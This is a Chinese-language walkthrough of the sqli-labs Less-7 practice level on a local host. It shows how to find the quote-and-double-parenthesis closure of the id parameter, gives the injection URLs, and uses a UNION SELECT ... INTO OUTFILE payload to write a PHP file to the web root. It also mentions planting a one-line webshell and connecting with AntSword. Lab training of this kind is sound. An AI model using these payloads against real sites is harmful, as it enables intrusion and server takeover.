Less-7 【outfile】

目录

第七关

1、正常输入?id=1

2、加单引号外加注释查看报错，发现它只提示了语法错误，并没有具体错误信息

3、加双引号外加注释查看报错，发现并没有报错是正常页面

4、分析闭合方式

5、我们试两个括号的时候发现页面恢复正常，这就说明它是由一个单引号和两个括号的方式进行闭合

6、我们写入一个探针，并且查看是否浏览成功。

---

第七关

首先我们修改mysql中的my.ini文件，给文件中写入secure_file_priv="/"

1、正常输入?id=1

2、加单引号外加注释查看报错，发现它只提示了语法错误，并没有具体错误信息

第七关

首先我们修改mysql中的my.ini文件，给文件中写入secure_file_priv="/"

1、正常输入?id=1

2、加单引号外加注释查看报错，发现它只提示了语法错误，并没有具体错误信息

127.0.0.1:8080/sqli/Less-7/?id=1' --+

3、加双引号外加注释查看报错，发现并没有报错是正常页面

127.0.0.1:8080/sqli/Less-7/?id=1" --+

4、分析闭合方式

由上面的信息我们可知我们输入参数id时它是用单引号封闭的，然后我们单引号破坏了它原有的语法结构。

但是如果只是单引号闭合的话它不会出现报错，那我们就知道它肯定还有什么符合在外面包裹着单引号。

我们试一下单个括号、两个括号看看。

5、我们试两个括号的时候发现页面恢复正常，这就说明它是由一个单引号和两个括号的方式进行闭合

127.0.0.1:8080/sqli/Less-7/?id=1')) --+

6、我们写入一个探针，并且查看是否浏览成功。

union select 1,2,"<?php phpinfo(); ?>" into outfile "D:/phpstudy_pro/WWW/sqli/Less-7/1.php"--+

我们还可以写一句话木马然后利用蚁剑等webshell工具进行连接即可

到此闯关完成，闯关结束。